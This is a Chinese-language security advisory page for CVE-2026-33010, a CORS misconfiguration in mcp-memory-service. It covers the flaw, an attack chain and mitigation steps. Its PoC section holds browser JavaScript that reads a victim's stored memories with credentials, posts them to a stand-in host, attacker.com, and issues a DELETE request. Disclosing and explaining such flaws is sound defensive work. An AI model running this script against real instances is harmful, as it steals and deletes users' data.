IPBUF安全漏洞报告
English
CVE-2026-33010 CVSS 8.1 高危

CVE-2026-33010 mcp-memory-service CORS配置错误漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33010
漏洞类型
CORS配置错误
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
mcp-memory-service

相关标签

CORSmcp-memory-service跨域请求配置错误高危

漏洞概述

mcp-memory-service是一个用于多智能体系统的开源内存后端。在10.25.1版本之前,当启用HTTP服务器(MCP_HTTP_ENABLED=true)时,应用错误配置了FastAPI的CORSMiddleware。具体来说,它允许所有来源(allow_origins=['*'])并允许携带凭证。当结合匿名访问(MCP_ALLOW_ANONYMOUS_ACCESS=true)时,任何恶意网站都可以跨域读取、修改和删除所有存储的记忆数据,而无需任何身份验证。该问题已在10.25.1版本中修复。

技术细节

该漏洞的根本原因在于FastAPI中间件的不安全配置。在受影响版本中,CORSMiddleware被设置为允许任意来源(Access-Control-Allow-Origin: *)响应跨域请求。根据CORS规范,当凭证标志(allow_credentials=True)设置为True时,不能将Origin通配符设置为*,但这在FastAPI的配置中并未被严格执行阻止,导致浏览器允许携带凭证的跨域请求。此外,当系统启用MCP_ALLOW_ANONYMOUS_ACCESS以方便无需OAuth的仪表盘访问时,实际上取消了后端的身份验证检查。攻击者可以构造一个恶意网页,诱导受害者访问,利用浏览器的同源策略漏洞,通过JavaScript向受害者的mcp-memory-service实例发送API请求(如GET、PUT、DELETE)。由于CORS头允许读取响应且后端允许匿名访问,攻击者即可在受害者不知情的情况下窃取敏感数据或篡改记忆库。

攻击链分析

STEP 1
侦察
攻击者识别目标运行的是mcp-memory-service且开启了HTTP服务和匿名访问。
STEP 2
制作诱饵
攻击者搭建恶意网站,嵌入针对目标API的跨域请求JavaScript代码。
STEP 3
诱导访问
诱导受害者访问恶意网站,触发浏览器执行恶意脚本。
STEP 4
利用漏洞
受害者浏览器向目标服务发送请求,由于CORS配置错误,浏览器允许读取响应。
STEP 5
数据窃取与篡改
攻击者获取或篡改存储在服务中的敏感记忆数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-33010 --> <!-- This script demonstrates the impact of CORS misconfiguration --> <script> const targetUrl = 'http://vulnerable-target:port/api/memories'; // Attempt to read data fetch(targetUrl, { method: 'GET', credentials: 'include', // Sending cookies if any headers: { 'Content-Type': 'application/json' } }) .then(response => response.json()) .then(data => { console.log('Leaked Data:', data); // Send data to attacker's server fetch('https://attacker.com/log', { method: 'POST', body: JSON.stringify(data) }); }) .catch(error => console.error('Error:', error)); // Attempt to delete data fetch(targetUrl + '/1', { method: 'DELETE', credentials: 'include' }); </script>

影响范围

mcp-memory-service < 10.25.1

防御指南

临时缓解措施
建议立即升级至修复版本。如果无法立即升级,请务必关闭MCP_ALLOW_ANONYMOUS_ACCESS配置,并在防火墙层面限制对mcp-memory-service HTTP端口的访问,仅允许可信的内网IP访问,防止公网恶意站点发起跨域攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表